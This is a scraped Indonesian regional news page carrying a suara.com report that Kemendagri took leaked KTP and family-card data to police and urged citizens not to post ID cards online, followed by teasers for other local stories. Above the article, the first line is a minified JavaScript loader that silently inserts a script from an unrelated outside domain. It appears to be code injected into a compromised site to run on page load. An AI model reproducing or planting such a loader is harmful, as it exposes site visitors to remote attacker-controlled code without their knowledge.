(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Kemendagri: Jangan Sering Upload KTP, Apalagi Punya Pacar Baru


Kementerian Dalam Negeri (Kemendagri) telah melaporkan ke kepolisian mengenai kejadian penyebaran data pribadi  di media sosial. Meskipun menyatakan datanya aman, Kemendagri ingin mencari tahu motif dilakukannya penyebaran data pribadi tersebut.

Kepala Pusat Penerangan (Kapuspen) Kemendagri, Bahtiar menyebut tidak melaporkan orang melainkan peristiwanya ke polisi. Data pribadi yang tersebar berupa informasi dalam KTP atau Kartu Keluarga (KK).

“Kan di google, di media sosial di akun itu menyebar itu banyak data KTP. Kemudian NIK. itu dilaporkan kepada kepolisian,” kata Bahtiar di Balaikota, Jakarta Pusat, Rabu (31/7/2019).

Bahtiar menyebut pihaknya masih mempertanyakan motif dari penyebar data pribadi. Ia masih menerka apakah tujuan penyebaran itu ada kesengajaan atau hingga diperjualbelikan.

“Apalagi ada isu diperjualbelikan. Maka itu harus dilaporkan ke kepolisian,” kata Bahtiar.

Menurutnya jika nantinya terbukti data tersebut digunakan untuk diperjualbelikan maka penyebar bisa dikenakan sanksi hukum. Tujuan Kemendagri ingin memperjelas terkait peristiwa tersebut.

“Biarlah nanti polisi pelakukan penyelidikan apakah ini unsur kesengajaan. Apa ada kejahatan atau kelalaian supaya ini clear persoalannya,” jelasnya.

Karena itu, ia mengimbau masyarakat agar tidak secara sengaja menyebarkan data diri seperti foto KTP ke media sosial. Sebab, menurutnya, hal tersebut rawan untuk disalahgunakan oleh oknum tak bertanggung jawab.

“Jangan sering upload KTP-nya. Apalagi KTP cowoknya di-upload, pacar baru diupload,” pungkasnya.

Sebelumnya, Kemendagri telah melaporkan kasus jual beli data penduduk ke Direktorat Jenderal Kependudukan dan Pencatatan Sipil (Dirjen Dukcapil). Jual beli data penduduk itu lewat e-KTP dan Kartu Keluarga atau KK.

Menteri Dalam Negeri atau Mendagri Tjahjo Kumolo mengatakan pelaporan sudah dilakukan, Selasa (30/7/2019) hari ini.

“Hari ini secara resmi Dirjen Dukcapil melaporkan ke Bareskrim,” kata Tjahjo saat ditemui di Kuningan, Jakarta Selatan, Selasa kemarin. (suara.com)

Reporter : Suara.com
Editor : Kk

Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

16 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

19 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

23 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

23 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.